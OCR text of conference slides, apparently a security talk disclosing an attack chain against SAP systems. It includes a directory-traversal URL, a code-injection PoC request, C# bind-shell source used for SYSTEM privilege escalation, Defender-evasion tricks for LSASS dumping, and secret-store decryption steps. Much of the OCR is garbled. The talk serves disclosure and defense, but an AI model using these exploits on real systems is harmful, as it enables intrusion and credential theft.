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RedRays

R&D Center in Armenia to analyze the security of ERP

Representative in the US
50 0-days discovered since 2021

Saa$S Security Platform for SAP systems
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Agenda

1. Afew words about SAP
2. Given challenge

3. Vector of Attack #1
*Vulnerability in SAP ME
* Code injectiomein SAP Ml
* Privilege escalation in SAP Host Control
* Bypass Microsoft Defender
* Compromising SAP Cloud Connector

4. Vector of Attack #2
* Analyzing missing configuration in SAP ABAP stack

5 - @onclisien
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What is SAP?!
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SAP

100,000
EMPLOYEES

440,000
CUSTOMERS

180
~  COUNTRIES
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Backstory of the research
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Challenge

Cloud On-premises Users
environment environment environment

INTERNET Firewall

SAP CLOUD PLATFORM OData/lHTTPS SAP GATEWAY

End user

SERVER ABAP
HTTPSIRFC SERVER ABAP

SAP APPLICATION
SERVER.

Data Replication Tool

T Jump from User environment to Cloud ]
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Goals

Get admin user of SAP application
Get admin user of SAP database
Get access to read/write files from/on the SAP server

Get access of code/command execution on the SAP server
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*Vulnerabilities

CVE-2023-0012 Discovered by RedRays R&D

« (CVE-2022-39802 Discovered by RedRays R&D

« MS Defender Bypass Discovered by RedRays R&D
« Decrypt SAP SSFS Discovered by RedRays R&D

«  SAP Misconfigurations Discovered by RedRays

PoC for CVE-2021-21480 has been reversed

All the screenshot below are from RedRays demo server
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Vector of attack #1
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Analyzing the scope

Cloud On-premises Users
environment environment environment

INTERNET Firewal|
SAP CLOUD PLATFORM OData/lHTTPS —» SAP GATEWAY

End user

HTTPSIRFC

SERVER JAVA

Data Replication Tool
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SAP Manufacturing Execution

Aerospace and defense Medical devices
Automotive Metals and mining
Chemicals Oil and gas
Consumer products Paper and packaging
Electronics Pharmaceuticals
Food and beverage Plastics

High-tech manufacturing Textiles

Industrial machinery and Utilities
components

Life sciences
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CVE-2022-39802

| vemodelio jsp

H<z@

if
FacesUtilic

throw new J

CutputStream o

onnection onn = url.openLonnection|);

C:\usr\sap\NW2\J00\j2ee\cluster\apps\sap.com\me~ear\servlet_jsp\
manufacturing\root\com\sap\me\production\client\vemodelio.jsp
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CVE-2022-39802

http://IP/manufacturing/root/com/sap/me/production/client/vemodelio.jsp? file://C:\Windows\win.ini
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Goals

Get admin user of SAP application
Get admin user of SAP database
Get access to read/write files from/on the SAP server

Get access of code/command execution on the SAP server
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Escalation of privileges #1
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SecStore

C:\usr\sap\NW2\SYS\global\security\data

This PC Local Disk (C:) usr sap NW2 SYS global security data

# Quick access

I Desktop

SecStore.properties

SecStore.key
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SecStore Decryptor

SecStore key

XOR

Hardcoded Key

secret =[ > The real key
e, OxD6, Ox8f, Oxfa,
0x96, Oxec, Oxb6, 0x10, ———
Q0 e O ) OX65,
Ox 17 Bl @l xc4,
Ox3e, Oxa, Oxd7, Oxbd

]
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SecStore Decryptor

SecStore key

XOR

Hardcoded Key

SecStore.properties

secret =[
e, OxD6, Ox8f, Oxfa,
0x96, Oxec, Oxb6, 0x10, ———
Q0 e O ) OX65,
Ox 17 Bl @l xc4,
Ox3e, Oxa, Oxd7, Oxbd

]

f

> The real key
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Admin Password
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Decrypted SAP Secure Storage

SID -NW2-
KeyPhrase -asdQWE123-

jdbc/pool/NW2 -jdbc:.//Driver?ClassName=com.sybase.jdbc4.jdbc.SybDriver&
Url=jdbc:sybase:Tds:sapnwjava:4901/NW2\?ENABLE_FUNCTIONALITY_GROUP\=1&User=SAPSR3DB&Password=asdQWE123&-

Sinternal/check -SAP Secure Store-
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Goals

Get admin user of SAP application
Get admin user of SAP database
Get access to read/write files from/on the SAP server

Get access of code/command execution on the SAP server
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Escalation of privileges #2
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CVE-2021-21480

3022622 - [CVE-2021-21480] Code injection vulnerability in SAP Manufacturing Integration and
Intelligence

ogram error

ed for Customer

r. When this dashboard is opened by users having atleast SAP_XMII_Develope alicious content in the dashboard gets executed, leading to remote co
CVSS

malicious JSP code can contain n OS commands, through which an atta an rea iv in the server, modify files or even delete contents in the r thus compror
of the server hosting the SAP MII application.

Value

N
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Updated vs Outdated

final Us
User:!

this.

private void ha
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Tip and Trick

Calog . L

throw new LI

The SAP servers can execute JSP files with both .jsp and .JSP
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PoC for code injection

POST /XMll/Catalog HTTP/1.1

Host: %target system%:50000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Cookie: MYSAPSSO2=%COOKIE%

content=SHELL CODE HERE&Mode=Save&ObjectName=./shell.jsp&JsCodeSeparation=false
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PoC for code injection

ost.exe

RuntimeBroker.exe
RuntimeBroker.exe

nFrameHost.exe

®
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Goals

Get admin user of SAP application
Get admin user of SAP database
Get access to read/write files from/on the SAP server

Get access of code/command execution on the SAP server
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PoC for code injection
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Goals

Get admin user of SAP application

Get admin user of SAP database

(et access to read/write files from/on the SAP server

faet access of code/command execution oR-thesSARPREServer
System User Access
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Escalation of privileges #3
CVE-2023-0012
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CVE-2023-0012

v | 85| sapstarisrv.exe
E® conhost.exe
v [ 85| msg_server.exe
BEX conhost.exe
v [7] enserver.exe
BN conhost.exe
v [ 8] gwrd.exe
B conhost.exe
v | 5| sapstartsrv.exe
R conhost.exe
v [ 85 igswd.exe
B conhost.exe

5= igsmunx.exe

5] igspw.exe

B
saphostexec.exe
B-| saposcol.exe
E® conhost.exe

sapstartsrv.exe

64.41 MB

6.54 MB

17.28 MB

6.54 MB

16B/s 818.23MB
6.54 MB

184 MB

6.54 MB

19.14 MB
6.52 MB
45.36 MB

SAPNWJAVA\SAPServiceNW2
SAPNWIAVA\SAPServiceNW?2
SAPNWJAVA\SAPServiceNW2
SAPNWIJAVA\SAPServiceNW2
SAPNWIJAVA\SAPServiceNW2
SAPNWIAVA\SAPServiceNW2
SAPNWIJAVA\SAPServiceNW?2
SAPNWIJAVA\SAPServiceNW2
SAPNWIJAVA\SAPServiceNW2
SAPNWIAVA\SAPServiceNW?2
SAPNWIJAVA\SAPServiceNW2
SAPNWIAVANSAPServiceNW2
SAPNWIAVA\SAPServiceNW2
SAPNWIAVA\SAPServiceNW?2
SAPNWIAVA\SAPServiceNW?2
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM
SAPNWIJAVA\sapadm

R/3 Start Service

Console Window Host
Console Window Host
Console Window Host
Console Window Host
R/3 Start Service

Console Window Host

Console Window Host

Host Control Execution Service

Console Window Host
R/3 Start Service

| #BHMEA23 |  www.blackhatmea.com

SAP SE
Microsoft Win...
SAP SE
Microsoft Win...
SAP SE
Microsoft Win...
SAP SE
Microsoft Win...
SAP SE
Microsoft Win...
SAP SE
Microsoft Win...
SAP SE
SAP SE
SAP SE
SAP SE
SAP SE
Microsoft Win...
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SAPHostExec

B Process Monitor Filter

Display entries matching these conditions:

Architecture “ || is
Res

Column Relation Value Action
saphostexec exe Include
saposcol exe Include

contains dll Include

1] @ Path contains exe Include
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Sapcimb.exe

NT AUTH
NT AUTHO

NT AUTH

NT AUTH

# sapcimb.exe Properties X
Details Previous Versions
Compatibility Digital Signatures

|RITY?
' sapcimb exe [RITY\:

e | ] =~
T N S S

J L

]

b=

Type of file: Application (.

E‘E‘_—‘.lj:l"i;:th:ll'l ﬁap::iﬂ'l‘: exe

Location C:\Program Files

"N SN TN T U T

P £ o B b b

3.68 MB (

Size on disk
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Shell.exe

using System.IO; while (true)
using System.Net; {
using System.Net.Sockets; string command = reader.ReadLine();
System.Diagnostics.Process process = new System.Diagnostics.Process();
namespace shell System.Diagnostics.ProcessStartInfo startInfo = new
{ System.Diagnostics.ProcessStartInfo();
class Program startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
{ startInfo.FileName = cmd.exe;
static void Main(string[] args) startInfo.Arguments = /c + command;
{ process.StartInfo = startInfo;
string ip = 0.0.0.0; process.StartInfo.UseShellExecute = false;
int port = 4444; process.StartInfo.RedirectStandardOutput = true;
Socket socket = new Socket(AddressFamily.InterNetwork, process.StartInfo.RedirectStandardInput = true;
SocketType.Stream, ProtocolType.Tcp); process.StartInfo.RedirectStandardError = true;
socket.Bind(new IPEndPoint(IPAddress.Parse(ip), port)); process.Start();
socket.Listen(1); StreamReader outputReader = process.StandardOutput;
Socket client = socket.Accept(); string output = outputReader.ReadToEnd();
NetworkStream stream = new NetworkStream(client); writer.WriteLine(output);
StreamReader reader = new StreamReader(stream); writer.Flush();
StreamWriter writer = new StreamWriter(stream); }
writer.WriteLine(Connected to classic shell); }
writer.Flush(); }
}
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Rewrite

Commands with JSP
Send

Command: move "C:\usr\sap\NW2\J@e\j2ee\ g \ s\sap.com\xapps~xmii~ear\servlet_jsp\XMII\root\CM\shell.exe" "C:\Program Files\SAP\hostctrl\exe\sapcimb.exe"

1 file(s) moved.
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Execution

W

W

W

saphostexec.exe

saposcol.exe

conhost.exe
sapcimb.exe
EX conhost.exe

10.59 MB NT AUTHORITY\SYS
1832 MB NT AUTHORITY\SYS
NT AUTHORITY
NT AUTHORITY\
NT AUTHORITY
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SYSTEM shell

\SYSTEM Consple Window Host
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Execution

Commands with JSP

Command:

ynnections

Local Address Foreign Address State
8.8.8.08:135 @ LISTENING
5.0.8.0:44 sap - LISTENING

& ®

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

(T o I I

L]

LISTENING
LISTENING
LISTENING
LISTENING
sapnwjava:@ LISTENING

& D
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Command Execution

Command Prompt - Downloads\ncb4\ncb4.exe 192.168,163.135 4444

C:\Users\admin>Downloads\nc64\nc64.exe 192.168.163.135 4444
Connected to classic shell

whoami

nt authority\system
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Goals

Get admin user of SAP application

Get admin user of SAP database

(et access to read/write files from/on the SAP server

faet access of code/command execution oR-thesSARPREServer
System User Access
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Horizontal escalation
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Prohibited actions

« Transmit LSASS process memory to our workstation

e Turn off Microsoft Defender on the SAP server

Transmit LSASS

Defender
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Necessary tools

Mical

Alternative of Mimikatz in C#
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Tricks

° Striﬂgs text L ”S”, lltlll ”r”, llilll ”n”, ”g”’ ”S”I " ”, lltlll ”e”, ”X”I Htll
« Replace common hardcoded strings
« Remove unnesserary classes

« Unregistered file extension
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Bypass Microsoft Defender

Administrator: Command Prompt — [}
C:\Users\admin\Desktop>cmd /c minidump_bypass_ms.exe.pp

[*]

[*] System Information

T e
[*] | Platform: Win32NT

B o
[*] | Major: 18 Minor: @ Build: 17763

] e e
[*] | Version: Microsoft Windows NT 6.2.9200.0

r*] -
[*]

[*] Authentication Id : ©;1596957 (©0000000:01596957)

[*] Session : Interactive from ©

[*] UserName : admin

[*] LogonDomain : SAPNW7S

[*] LogonServer : SAPNW75

[*] LogonTime 1 2022/05/17 04:58:18

[*] SID : §-1-5-21-3785162031-40875726648-566766257-1000
[*]

Bl Msv

[*] Domain : SAPNW75

Bl Username : admin

[*] LM . booooooboooo0o000000000000000000

Bl NTLM : 11b67bAdacf58a142858a33bfeb63a7f0

[*] SHA1 1 6118fd3a7e00704833e711aa13be54f41ca08fdl

Bl DPAPI ! 00000E00000R000000000000000000

[*]

[*] Kerberos

[*] Domain : SAPNW75

[*] Username : admin

[*] Password : [NULL]

[*]

[*] Authentication Id : 8;1596916 (©0000L00:01596916)

[*] Session : Interactive from ©

[%] licarMama * ardmin

f in X ©@ | #BHMEA23 |  www.blackhatmea.com


https://blackhatmea.com/
https://www.facebook.com/Blackhatmea
https://www.instagram.com/blackhatmea/
https://www.linkedin.com/company/Blackhatmea/
https://twitter.com/Blackhatmea
https://www.youtube.com/channel/UCnBep_DEHvsk1HbyVwBz7xA

pibdkhat

MIDDLE EAST AND AFRICA

Analyzing the scope

Cloud On-premises Users
environment environment environment

INTERNET Firewal|
SAP CLOUD PLATFORM OData/lHTTPS —» SAP GATEWAY

End user

HTTPSIRFC

/

SERVER JAVA

Data Replication Tool |«
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Analyzing the scope

Cloud On-premises Users
environment environment environment

INTERNET Firewal|
SAP CLOUD PLATFORM OData/lHTTPS —» SAP GATEWAY

End user

HTTPSIRFC

/

Data Replication Tool |«
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AAAAAAAAAAAAAAAAAA

PASSWORD REUSE
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SAP Cloud Connector

<?xml version="1.0" encoding="utf-8'?>

<tomcat-users>

<role rolename=admin/>

<group groupname=initial/>

<user username=Administrator password=F55A3364CEF0494342192745B31AF6D56F36DA8760670309ECA5F028ABE53C1F roles=admin/>

</tomcat-users>
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SAP SSFS

sid-npl:~ # 1ls -la /opt/sap/scc/scc_config/SSFS_SCC.DAT
-rw-r--r-- 1 sccadmin sccgroup 608 Jan 26 08:05 /opt/sap/scc/scc_config/SSFS_SCC.DAT

A
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SAP SSFS Records

yrdProvider.create (new ¢ orelccess (), , S toreType.PKCS12) ;

age(),

tPhrase(this.currentConf
onfigPath) ;

ordProvider.create (this.configPolicy

his.configPolicy.getSec

c(

CLOUD_CONN/JAVA_KEYSTORE_PASSWORD
CLOUD_CONN/SCIM_SERVICE_USER_PASSWD
CLOUD_CONN/LDAP_SERVICE_USER_PASSWORD
CLOUD_CONN/PROXY_PASSWORD

CLOUD_CONN/KERBEROS_KTAB
CLOUD_CONN/SYSTEM_CERTIFICATE
CLOUD_CONN/ALERT_EMAIL_SERVER_SECRET
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SAP SSFS Decryption

vah_13@RedRaysPC:~$ nm -D libsapscc20jni.so | grep SecStore

0000POPERPOA58570 T Java_com_sap_scc_jni_SecStoreAccess_changeKey
0000P0PEROA58290 T Java_com_sap_scc_jni_SecStoreAccess_getBinaryRecord
000000POPOO58130 T Java_com_sap_scc_jni_SecStoreAccess_getRecord <
0P0PPOEEROA57500 T Java_com_sap_scc_jni_SecStoreAccess_init
0000POPEROA57aUl® T Java_com_sap_scc_jni_SecStoreAccess_putBinaryRecord
0000P0POROA57870 T Java_com_sap_scc_jni_SecStoreAccess_putRecord
000000PEROO57cl® T Java_com_sap_scc_jni_SecStoreAccess_removeRecord
0000000000058U60 T SecStoreAccess_changeKey

0000P0POROA583Ff0 T SecStoreAccess_getRecord

00000000000574b® T SecStoreAccess_init

0000P0POROO57c20 T SecStoreAccess_putRecord

0000000000057c90 T SecStoreAccess_removeRecord
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SAP SSFS Decryption

0000000000058130 T Java_com_sap_scc Jni_SﬁcStoreAccess}_getRecord

package com.sap.scc.]jni;

public class SecStoreAccess {
static synchronized native char[] getRecord(final String p®) throws SecStoreAccessExe€ption, IllegalArgumentException;
public static void main(String[] ar

System.load("/usr/lib/libsapscc28jni.so");

try

{
char[] a = getRecord(“CLOUD COMM/JAVA KEYSTORE PASSWORD®);
System.out.println(new String(a))

a = getRecord(°CLOUD CONN/SCIM SERVICE USER PASSWD");
System.out.printin(new String(a))

}catch (Exception e)

e.printStackTrace();

@, Declaration B Console X [@ Coverage

onccess (1) [Java Application] /snap/eclipse/63/plugins/org.eclipse.justj.openjdk.hotspot.jre.full.linux.x86_64_17.0.4.v20220903-103H
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SAP Cloud Connector Administrator

=

2, Connector
Security Status
Alerting
High Availability
Hardware Metrics Monitor
Configuration

Cloud To On-Premise
On-Premise to Cloud
Monitor

Audits

Log And Trace Files

& Important Links
I Legal Information

SAP Cloud Platform Cloud Connector Administration

Cloud To On-Premise
ACCESS CONTROL COOKIE DOMAINS TRUSTED APPLICATIONS PRINCIPAL PROPAGATION

Mapping Virtual To Internal System

Status  Virtual Host * Internal Host s Check Result Prot... Back-end Type

Resources Accessible On

Enabled Status URL Path ¥ Access Policy

0 fsap/bclirep Path and all sub-paths

O
O /sap/opu/odata Path and all sub-paths
O

] Path and all sub-paths
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Scheme for the vector of attack #1

SAP Cloud Connector
SAP NetWeaver AS Java

Directory traversal

AcCcess

to

Get admin — SAP Cloud SAP Cloud
user Connector
e Code injection Decrypt Application Manage
Escalate D connections i
T y Business
privileges o . L
mmdl  SAPHOStEXec getRecord applications

forward traffic to

SAP attacker host
Cloud

Escalate Escalation
10 el [ Bypass MS
Defender Connect
‘ or SSFS

Get OS user and
Password reuse

f in X @ | #BHMEA23 |  www.blackhatmea.com


https://blackhatmea.com/
https://www.facebook.com/Blackhatmea
https://www.instagram.com/blackhatmea/
https://www.linkedin.com/company/Blackhatmea/
https://twitter.com/Blackhatmea
https://www.youtube.com/channel/UCnBep_DEHvsk1HbyVwBz7xA

pibdkhat

MIDDLE EAST AND AFRICA

Vector of attack #2
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Analyzing the scope

Cloud On-premises Users
environment environment environment

INTERNET Firewal|
SAP CLOUD PLATFORM OData/lHTTPS —» SAP GATEWAY

End user

HTTPSIRFC

SERVER JAVA

Data Replication Tool
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What is an ABAP stack?

e ABAP - Advanced Business Application Programming

 ABAP is a programming language developed by SAP for creating and customizing business applications.
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Components of ABAP stack

e Application Server
* Database

* Development Environment
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Key components of SAP ABAP

e Users: People who interact with the SAP system

* Authorization Objects: Designed to manage access to certain parts of the system and control the actions that can be taken.
* Roles: Groups of permissions that define user actions within the system

* Functions and Programs: Designed to make business rules work in ABAP applications.

* Transactions: Set of instructions that you follow to complete certain tasks in SAP.
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What are transactions in SAP ABAP?

1. Payroll (HR/Payroll):
1. PA30: Maintain Employee Master Data.
2. PCOO_M40_CEDT: Payroll Run and Tax Calculation.
3. PTMW: Enter Employee's Working Time.
2. Procurement:
1. ME21N: Create a Purchase Order.
2. ME51N: Create a Purchase Requisition.
3. ME2N: Display Purchase Orders.
3. Finance and Accounting:
1. FBO1: Post Financial Document.
2. FBL3N: Display G/L Account Line Items.
3. F110: Payment Run.

1000+ transactions
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Critical transactions

SM49
SM69
DBACOCKPIT

etc.
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SAP Easy Access

a's Other menu
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SAP Easy Access

&a Other menu
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Function and Program Execution

SE37 - Function Modules

SE38 — ABAP editor

f in X ©@ | #BHMEA23 |  www.blackhatmea.com


https://blackhatmea.com/
https://www.facebook.com/Blackhatmea
https://www.instagram.com/blackhatmea/
https://www.linkedin.com/company/Blackhatmea/
https://twitter.com/Blackhatmea
https://www.youtube.com/channel/UCnBep_DEHvsk1HbyVwBz7xA

pibdkhat

MIDDLE EAST AND AFRICA

ABAP program

RSBDCOSO
RSNNUCXD

Symptom

After an upgrade or the application of a Hot Package, programs RSBDCOSO and RSNNUXCD have been deleted.

Other Terms

Reason and Prerequisites

Programs RSBDCOS0 and RSNNUXCD were not released.
Other transactions provide the functions as well.

Solution

If you do not want to call operating system functions from within the operating system level but from within the R/3 System, use the following transactions.
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Critical SAP Authorization Objects

S_DEVELOP

S_TRANSPRT

The production system

When the roles and authorization profiles have been completely tested in the quality assurance system and approved by the end users or project team, the roles can be
transported into the production system. The user IDs can then be created.

You should never make changes to a production SAP system. You should therefore not assign following authorizations to users in a production system:

» Authorizations for the ABAP Workbench (authorization objects ABAP Workbench (S_DEVELOP) andTransport Organizer (S_TRANSPRT))
» SAP system operating system command execution authorizations (transaction SM52) (System Authorizations (S_ADMI_FCD) value UNIX).

» Authorizations to deactivate authorization checks (transaction AUTH_SWITCH_OBJECTS) with the authorization object S_USER_OBJ.
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ABAP Editor: Display Report RSBDCOSO

Text Elements
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ABAP Debugger(1) (Exclusive)

START-O

Desktop 1 Desxtop 2

Objects
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Detai Data Explorer
ABAP and Screen Stack
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AR 5 L = :
] Watchpoint glayout g3 Configure

EVENT

Desktop 1 desktop 2 » 3 Standard Stru 5 Objects Deta Data Explorer

Stack
S.. Event Type Event
START-OF

Varables 1 Varables 2
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Varables 1 Varables 2
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Execute OS Command (Logged in SYSLOG and Trace Files)

LIS Reset. list JChange current directory
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Execute OS Command (Logged in SYSLOG and Trace Files)

jChange current directory
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Analyzing the scope

Cloud On-premises Users
environment environment environment

INTERNET Firewal|
SAP CLOUD PLATFORM OData/lHTTPS —» SAP GATEWAY

End user

HTTPSIRFC

SERVER JAVA

Data Replication Tool |«
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Conclusion

Install patches - #3242933, #3022622, #3276120
Do not reuse OS login passwords
—SDEVELOP

— S TRANSPRT
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Vahagn Vardanyan
Arpine Maghakyan

f

Thank you!

https:.//www.linkedin.com/in/vahagnv/
https://www.linkedin.com/in/arpine-maghakyan/

https://redrays.io
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